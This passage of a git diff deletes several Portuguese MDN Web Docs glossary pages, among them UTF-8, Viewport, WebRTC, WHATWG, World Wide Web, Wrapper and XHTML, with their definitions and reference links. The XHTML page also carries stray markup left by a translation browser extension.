-<p>Em {{Glossary("HTML")}} é utilizada uma <em>tag </em>para criar um {{Glossary("element","elemento")}}.  O <em><strong>name</strong> </em>de um elemento de HTML é o <em><strong>name</strong></em> utilizado em parêntese angular, tal como &lt;p&gt; para parágrafo. Note que a etiqueta de fim <em><strong>name</strong></em> é precedida pelo caráter "barra oblíqua", "&lt;/p&gt;", e nos elementos vazios a etiqueta de fim não é necessária, nem permitida. Se os atributos não forem mencionados, são utilizados os valores predefinidos, em cada caso. </p>
-
-<h2 id="Saber_mais"><strong>Saber mais</strong></h2>
-
-<h3 id="Conhecimento_Geral"><strong>Conhecimento Geral</strong></h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Elemento HTML")}} na Wikipédia</li>
- <li><a href="http://www.w3.org/History/19921103-hypertext/hypertext/WWW/MarkUp/Tags.html">Tags HTML em W3 </a></li>
-</ul>
-
-<h3 id="Referência_técnica">Referência técnica</h3>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao HTML</a></li>
-</ul>
-
-<p> </p>
-
-<p> </p>
diff --git a/files/pt-pt/glossary/utf-8/index.html b/files/pt-pt/glossary/utf-8/index.html
deleted file mode 100644
index d89092ed0b..0000000000
--- a/files/pt-pt/glossary/utf-8/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: UTF-8
-slug: Glossary/UTF-8
-tags:
- - CodingScripting
- - Glossário
- - HTML
- - JavaScript
- - Utf-8
-translation_of: Glossary/UTF-8
-original_slug: Glossário/UTF-8
----
-<p>UTF-8 (UCS Transformation Format 8) é o {{Glossary("Character encoding", "caráter de codificação")}} mais comum da World Wide Web. Cada caráter é representado por um até quatro bytes. UTF-8 é compatível com versões anteriores de {{Glossary("ASCII")}} e pode representar qualquer caráter Unicode padrão.</p>
-
-<p>Os 128 primeiros carateres UTF-8 correspondem precisamente com os 128 primeiros carateres ASCII (numerado 0-127), o que significa que o texto ASCII existente já é um UTF-8 válido. Todos os outros carateres utilizam dois até quatro bytes. Cada byte tem alguns <em>bits </em>reservados para efeitos de codificação. Porque os carateres não ASCII requerem mais do que um byte para armazenamento, eles correm o risco de ficarem corruptos se os bytes são separados e não recombinados..</p>
-
-<h2 id="Saiba_mais" style="line-height: 18px; font-size: 1.28571rem;"><strong style="font-size: 1.71428571428571rem;">Saiba mais</strong></h2>
-
-<h3 id="Conhecimento_geral"><strong>Conhecimento geral</strong></h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "UTF-8")}} na Wikipédia</li>
- <li><a href="http://www.unicode.org/faq/utf_bom.html#UTF8">Perguntas Mais Frequentes acerca do UTF-8 no <em>website</em> de Unicode</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/value/index.html b/files/pt-pt/glossary/value/index.html
deleted file mode 100644
index f3bb6c32a6..0000000000
--- a/files/pt-pt/glossary/value/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Valor
-slug: Glossary/Value
-tags:
- - CodingScripting
- - Glossary
- - Glossário
- - NeedsContent
- - Precisa de Conteúdo
-translation_of: Glossary/Value
-original_slug: Glossário/Valor
----
-<p>No contexto de dados ou um objeto <strong>{{Glossary("Wrapper", "wrapper")}}</strong> em torno desses dados, o valor é o <strong>{{Glossary("Primitive","valor primitivo")}}</strong> que o objeto <em>wrapper</em> contém. No contexto de uma <strong>{{Glossary("Variable","variável")}}</strong> ou <strong>{{Glossary("Property","propriedade")}}</strong>, o valor pode ser um primitivo ou uma <strong>{{Glossary("Object reference","referência de objeto")}}</strong>.</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li><a href="https://pt.wikipedia.org/wiki/Classe_empacotadora">Classe empacotadora</a> (em inglês "Primitive wrapper class")</li>
-</ul>
diff --git a/files/pt-pt/glossary/viewport/index.html b/files/pt-pt/glossary/viewport/index.html
deleted file mode 100644
index 2d6ce9bc4b..0000000000
--- a/files/pt-pt/glossary/viewport/index.html
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: Viewport
-slug: Glossary/Viewport
-tags:
- - CodingScripting
- - Glossário
- - Layout
- - viewport
-translation_of: Glossary/Viewport
-original_slug: Glossário/Viewport
----
-<p><span class="seoSummary">Um viewport representa uma área poligonal (normalmente rectangular) na computação gráfica que pode ser visualizada. Em termos de navegador web, refere-se à area do documento que que é possível visualizar.</span></p>
-
-<p>A parte da viewport que está actualmente visível chama-se <strong>{{glossary("visual viewport", "viewport visual")}}</strong>. Esta pode ser menor do que a viewport do layout, por exemplo, quando o utilizador faz um zoom localizado. O viewport continua a ser o mesmo, mas o viewport visual tornou-se mais pequeno.</p>
-
-<h2 id="Saiba_Mais">Saiba Mais</h2>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Visual_Viewport_API">Visual Viewport API</a></li>
- <li>{{Interwiki("wikipedia", "Viewport")}} na Wikipedia</li>
- <li><a href="https://www.quirksmode.org/mobile/viewports.html">A tale of two viewports</a> (Quirksmode)</li>
- <li>{{glossary("visual viewport", "Viewport Visual")}} no Glossário MDN</li>
-</ul>
-
-<section class="Quick_links" id="Quick_Links"></section>
diff --git a/files/pt-pt/glossary/visual_viewport/index.html b/files/pt-pt/glossary/visual_viewport/index.html
deleted file mode 100644
index 15e0f838d9..0000000000
--- a/files/pt-pt/glossary/visual_viewport/index.html
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Viewport Visual
-slug: Glossary/Visual_Viewport
-tags:
- - Glossário
- - VisualViewport
- - viewport
- - viewport visual
-translation_of: Glossary/Visual_Viewport
-original_slug: Glossário/Viewport_Visual
----
-<p><span class="seoSummary">A parte do {{Glossary("viewport")}} que é actualmente visível chama-se o "viewport visual".</span> Este pode ser menor que o viewport do layout, por exemplo, quando o utilizador faz um zoom localizado. O viewport visual é a parte visível de um ecrã, excluindo teclados no ecrã, áreas fora de uma área do zoom localizado, ou qualquer outro artefacto no ecrã cuja escala seja independente das dimensões de uma página.</p>
-
-<h2 id="Saiba_Mais">Saiba Mais</h2>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Visual_Viewport_API">Visual Viewport API</a></li>
- <li>{{Interwiki("wikipedia", "Viewport")}} na Wikipedia</li>
- <li><a href="https://www.quirksmode.org/mobile/viewports.html">A tale of two viewports</a> (Quirksmode)</li>
- <li>{{Glossary("Viewport")}} no Glossário MDN</li>
-</ul>
diff --git a/files/pt-pt/glossary/webextensions/index.html b/files/pt-pt/glossary/webextensions/index.html
deleted file mode 100644
index cd9eca2847..0000000000
--- a/files/pt-pt/glossary/webextensions/index.html
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Extensões da Web
-slug: Glossary/WebExtensions
-tags:
- - CodingScripting
- - Extensões da Web
- - Glossário
- - Precisa de Conteúdo
-translation_of: Glossary/WebExtensions
-original_slug: Glossário/Extensoes_da_Web
----
-<p>'Extensões da Web' é um sistema cruzado de navegador para o desenvolvimento de extensões de navegador no Firefox. Este sistema fornece APIs, que em grande parte são suportadas em diferentes navegadores , tais como o Google Chrome, Microsoft Edge, Mozilla Firefox e Opera Browser.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="referência_técnica">referência técnica</h3>
-
-<ul>
- <li><a href="/pt-PT/Add-ons/WebExtensions">Extensões de Navegador </a>na MDN</li>
-</ul>
diff --git a/files/pt-pt/glossary/webrtc/index.html b/files/pt-pt/glossary/webrtc/index.html
deleted file mode 100644
index 23ca2c94b2..0000000000
--- a/files/pt-pt/glossary/webrtc/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: WebRTC
-slug: Glossary/WebRTC
-tags:
- - Glossário
- - Infraestrutura
- - JavaScript
- - P2P
- - VoIP
- - WebRTC
-translation_of: Glossary/WebRTC
-original_slug: Glossário/WebRTC
----
-<p><span class="seoSummary"><strong>WebRTC</strong> (<em>Comunicações da Web em Tempo Real</em>) é uma {{Glossary("API")}} que pode ser utilizada por aplicativos de videoconferência, chamadas de voz, e P2P.</span></p>
-
-<p>O WebRTC consiste principalmente destas partes:</p>
-
-<dl>
- <dt>{{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}</dt>
- <dd>Concede acesso à câmera e / ou microfone de um dispositivo, e pode conectar os seus sinais a uma conexão RTC.</dd>
- <dt>{{domxref("RTCPeerConnection")}}</dt>
- <dd>Uma interface para configurar videoconferências ou chamadas de voz.</dd>
- <dt>{{domxref("RTCDataChannel")}}</dt>
- <dd>Fornece um método para estabelecer uma conexão {{Glossary("P2P")}} entre navegadores web.</dd>
-</dl>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{Interwiki("wikipedia", "WebRTC")}} na Wikipédia</li>
- <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API na MDN</a></li>
- <li><a href="http://caniuse.com/rtcpeerconnection">Compatibilidade dos navegadores com WebRTC</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/webvtt/index.html b/files/pt-pt/glossary/webvtt/index.html
deleted file mode 100644
index fcfc456686..0000000000
--- a/files/pt-pt/glossary/webvtt/index.html
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: WebVTT
-slug: Glossary/WebVTT
-tags:
- - Audio
- - CodingScripting
- - Glossário
- - Video
- - Web
- - WebVTT
-translation_of: Glossary/WebVTT
-original_slug: Glossário/WebVTT
----
-<p>WebVTT (Web Video Text Tracks) (em português Faixas de Texto de Vídeo da Web) é uma especificação {{Glossary("W3C")}} para um formato de ficheiro que marca os recursos da faixa de texto em combinação com o elemento HTML {{HTMLElement("track")}}.</p>
-
-<p>Os ficheiros WebVTT fornecem metadados síncronos com conteúdos os de áudio ou vídeo, como legendas, descrições de vídeo em texto, capítulos para navegação no conteúdo, e mais.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li>WebVTT na Wikipedia</li>
-</ul>
-
-<h3 id="Referência_técnica">Referência técnica</h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> na MDN</li>
- <li><a href="https://www.w3.org/TR/webvtt1/">Especificação</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/whatwg/index.html b/files/pt-pt/glossary/whatwg/index.html
deleted file mode 100644
index 7460bb77c4..0000000000
--- a/files/pt-pt/glossary/whatwg/index.html
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: WHATWG
-slug: Glossary/WHATWG
-tags:
- - Communidade
- - DOM
- - Glossário
- - HTML
- - HTML5
- - WHATWG
- - Web
- - standards
-translation_of: Glossary/WHATWG
-original_slug: Glossário/WHATWG
----
-<p>O WHATWG (Web Hypertext Application Technology Working Group) é uma comunidade que <a href="https://spec.whatwg.org/">mantém e desenvolve padrões web</a>, incluindo {{Glossary("DOM")}}, Fetch, e {{Glossary("HTML")}}. Funcionários da Apple, Mozilla, e Opera estabeleceram o WHATWG em 2004.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_Geral" style="line-height: 24px;">Conhecimento Geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "WHATWG")}} na Wikipedia</li>
- <li><a href="https://whatwg.org/">Site da WHATWG</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/world_wide_web/index.html b/files/pt-pt/glossary/world_wide_web/index.html
deleted file mode 100644
index d7b77d6746..0000000000
--- a/files/pt-pt/glossary/world_wide_web/index.html
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: World Wide Web
-slug: Glossary/World_Wide_Web
-tags:
- - Glossário
- - Infraestrutura
- - Rede Mundial
- - WWW
- - World Wide Web
-translation_of: Glossary/World_Wide_Web
-original_slug: Glossário/World_Wide_Web
----
-<p><em>A World Wide Web (Rede Mundial) </em>— comumente conhecido como <strong>WWW</strong>, <strong>W3</strong> ou <strong>Web</strong> - é um sistema interligado de páginas da Web públicas acessíveis através da {{Glossary('Internet')}}. A <em>Web</em> não é o mesmo que Internet: a <em>Web</em> é uma das muitas aplicações criadas no topo da Internet.</p>
-
-<p>Tim Berners-Lee propôs a arquitetura do que se tornou conhecido como <em>World Wide Web</em>. Ele criou a primeira <em>Web</em> {{Glossary("Server","servidor")}}, {{Glossary("Browser","navegador")}} da Web, e página da Web no próprio computador no laboratório de investigação de física CERN, em 1990. Em 1991, ele anúnciou a sua criação no fórum de discussão alt.hypertext, marcando o momento em que a <em>Web</em> foi tornada pública pela primeira vez.</p>
-
-<p>O sistema que nós conhecemos hoje como 'a <em>Web</em>' consiste em vários componentes:</p>
-
-<ul>
- <li>O protocolo <strong>{{Glossary("HTTP")}}</strong> administra a transferência de dados entre um servidor e um cliente.</li>
- <li>Para aceder a um componente da <em>Web</em>, um cliente fornce um identificador universal único, chamado de <strong>{{Glossary("URL")}}</strong> (localização de recurso uniforme) ou {{Glossary("URI")}} (identificador de recurso uniforme) (conhecido anteriormente como Identificador de Documento Universal (UDI)).</li>
- <li><strong>{{Glossary("HTML")}}</strong> (linguagem de marcação de hipertexto) é o formato mais comum para a publicação de documentos da Web.</li>
-</ul>
-
-<p>Interligar, ou ligar recursos através de {{Glossary("Hyperlink","hiperligações")}}, é um conceito de definição da Web, ajudando a sua identidade como uma coleção de documentos ligados.</p>
-
-<p>Logo depois de inventar a <em>Web</em>, Tim Berners-Lee fundou a {{Glossary("W3C")}} (<em>World Wide Web Consortium</em>) para uniformizar e desenvolver a <em>Web</em> ainda mais. Este consórcio consiste em grupos de interesse da <em>Web </em>essenciais, tais como responsáveis pelo desenvolvimento de navegadores da Web, entidades governamentais, investigadores, e universidades. A sua missão inclui educação e divulgação.</p>
-
-<h2 id="Saiba_mais" style="line-height: 30px;">Saiba mais</h2>
-
-<h3 id="Saiba_mais_sobre_a_mesma">Saiba mais sobre a mesma</h3>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn">Aprender sobre a Web</a></li>
- <li><a href="https://learning.mozilla.org/web-literacy">Mapa de literacia da Web </a>(um inventário das competências necessárias no desenvolvimento da Web)</li>
-</ul>
-
-<h3 id="General_knowledge" style="line-height: 24px;">General knowledge</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "World Wide Web")}} na Wikipédia</li>
- <li><a href="http://w3.org">O site da Web de W3C</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/wrapper/index.html b/files/pt-pt/glossary/wrapper/index.html
deleted file mode 100644
index dbc16d0857..0000000000
--- a/files/pt-pt/glossary/wrapper/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: Wrapper
-slug: Glossary/Wrapper
-tags:
- - CodingScripting
- - Glossary
- - Glossário
- - Wrapper
-translation_of: Glossary/Wrapper
-original_slug: Glossário/Wrapper
----
-<p>Em linguagem de programação, tal como JavaScript, um <em>wrapper </em>é uma função destinada a chamar uma ou mais outras funções, às vezes apenas por conveniência, e às vezes adaptando-as para executar uma tarefa ligeiramente diferente no processo.</p>
-
-<p>Por exemplo, bibliotecas SDK para AWS são exemplos de <em>wrappers</em>.</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimentto_geral">Conhecimentto geral</h3>
-
-<p>{{Interwiki("wikipedia", "Wrapper function")}} na Wikipédia (inglês)</p>
-
-<section class="Quick_links" id="Quick_Links">
-<ol>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Gloss%C3%A1rio">MDN Web Docs - Glossá</a>rio
-
- <ol>
- <li>{{Glossary("API")}}</li>
- <li>{{Glossary("Class")}}</li>
- <li>{{Glossary("Function")}}</li>
- </ol>
- </li>
-</ol>
-</section>
diff --git a/files/pt-pt/glossary/xhtml/index.html b/files/pt-pt/glossary/xhtml/index.html
deleted file mode 100644
index 37f266b18d..0000000000
--- a/files/pt-pt/glossary/xhtml/index.html
+++ /dev/null
@@ -1,170 +0,0 @@
----
-title: XHTML
-slug: Glossary/XHTML
-tags:
- - CodingScripting
- - Glossário
- - XHTML
-translation_of: Glossary/XHTML
-original_slug: XHTML
----
-<p><a href="/pt-PT/docs/Web/HTML" title="HTML">HTML</a> pode viajar através da rede para um navegador quer em sintaxe de HTML ou uma sintaxe chamada de <a href="/pt-PT/docs/Introducao_a_XML">XML</a>.</p>
-
-<h2 id="HTML5_e_HTMLXHTML">HTML5 e HTML/XHTML</h2>
-
-<p>O padrão de <a href="/en-US/docs/HTML/HTML5" title="HTML5">HTML5</a> define ambas as sintaxes. O tipo MIME (enviado no cabeçalho <code style="font-style: normal;">Content-Type</code> de HTTP) indica a escolha da sintaxe: para XHTML o tipo MIME irá ser <code style="font-style: normal;">application/xhtml+xml</code>, de outro modo  <code>text/html</code>.</p>
-
-<p>Este exemplo mostra um documento HTML e um documento XHTML incluindo os cabeçalhos de HTTP apropriados:</p>
-
-<h3 id="Documento_HTML">Documento HTML</h3>
-
-<pre class="brush: html">HTTP/1.1 200 OK
-Content-Type: text/html
-
-&lt;!DOCTYPE html&gt;
-&lt;html lang=en&gt;
- &lt;head&gt;
- &lt;meta charset=utf-8&gt;
- &lt;title&gt;HTML&lt;/title&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;p&gt;I am a HTML document&lt;/p&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<h3 id="Documento_XHTML">Documento XHTML</h3>
-
-<pre class="brush: xml">HTTP/1.1 200 OK
-Content-Type: application/xhtml+xml
-
-&lt;html xml:lang="en" xmlns="<code>http://www.w3.org/1999/xhtml</code>"&gt;
- &lt;head&gt;
- &lt;title&gt;XHTML&lt;/title&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;p&gt;I am a XHTML document&lt;/p&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<h2 id="Tipo_MIME_versus_DOCTYPE">Tipo MIME <em>versus </em>DOCTYPE</h2>
-
-<p>Before HTML5, the two separate specifications defined the two syntaxes (<a class="external" href="http://www.w3.org/TR/html4/" title="http://www.w3.org/TR/html4/">HTML 4.01</a> and <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0</a>). According to the XHTML1 standard, you could use XHTML by declaring a special DOCTYPE. However, no browsers have ever implemented this, and the HTML5 standard has reversed the decision. <strong>If your page is sent as <code>text/html</code>, you are not using XHTML</strong>.</p>
-
-<p>Instead, the proper MIME type must be present in the <code>Content-Type</code> HTTP header. If you only put the MIME type into an HTML meta tag like <code>&lt;meta http-equiv=…&gt;</code>, it will be ignored and treated like <code>text/html</code>.</p>
-
-<p>If you serve your pages as <code>text/html</code> and believe that you are writing XHTML, you may face several problems, as described in these articles:</p>
-
-<ul>
- <li><a class="external" href="http://www.spartanicus.utvinternet.ie/no-xhtml.htm">No to XHTML</a> an excellent article from Spartanicus</li>
- <li><a class="external" href="http://www.webdevout.net/articles/beware-of-xhtml">Beware of XHTML</a> by David Hammond</li>
- <li><a class="external" href="http://www.hixie.ch/advocacy/xhtml">Sending XHTML as text/html Considered Harmful</a> by Ian Hickson</li>
- <li><a class="external" href="http://www.xml.com/pub/a/2003/03/19/dive-into-xml.html">XHTML's Dirty Little Secret</a> by Mark Pilgrim</li>
- <li><a class="external" href="http://hsivonen.iki.fi/xhtml-the-point/">XHTML - What's the Point?</a> by Henri Sivonen</li>
- <li><a class="external" href="http://lachy.id.au/log/2005/12/xhtml-beginners">XHTML is not for Beginners</a> by Lachlan Hunt</li>
-</ul>
-
-<h2 id="Suporte">Suporte</h2>
-
-<p>Most browsers currently support XHTML, including Firefox, Chrome, Safari, Opera, and Internet Explorer (since IE 9). (Internet Explorer 8 and older browsers instead show a download dialog box for unknown file types when they see an XHTML document with the correct XHTML MIME type.)</p>
-
-<p>Also be aware that many popular {{Glossary("JavaScript")}} libraries and developer tools have limited or no support for XHTML.</p>
-
-<h2 id="Diferençãs_do_HTML">Diferençãs do HTML</h2>
-
-<p>See <a href="/en-US/docs/Properly_Using_CSS_and_JavaScript_in_XHTML_Documents" title="Properly Using CSS and JavaScript in XHTML Documents">Properly Using CSS and JavaScript in XHTML Documents</a> for a partial list of differences between HTML and XHTML.</p>
-
-<h2 id="Tools" name="Tools">Ferramentas</h2>
-
-<ul>
- <li><a href="/en-US/docs/Standards-Compliant_Authoring_Tools" title="Standards-Compliant_Authoring_Tools">Standards-Compliant Authoring Tools</a></li>
-</ul>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/HTML" title="HTML">HTML</a></li>
- <li><a href="/pt-PT/docs/Namespaces" title="Namespaces">Espaços de Nomes</a></li>
-</ul>
-
-<p><span class="alllinks"><a href="/en-US/docs/tag/XHTML:Tools" title="tag/XHTML:Tools">View All...</a></span></p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/glossary/xml/index.html b/files/pt-pt/glossary/xml/index.html
deleted file mode 100644
index c96b2a429b..0000000000
--- a/files/pt-pt/glossary/xml/index.html
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: XML
-slug: Glossary/XML
-tags:
- - Glossário
- - XML
- - l10n:priority
-translation_of: Glossary/XML
-original_slug: Glossário/XML
----
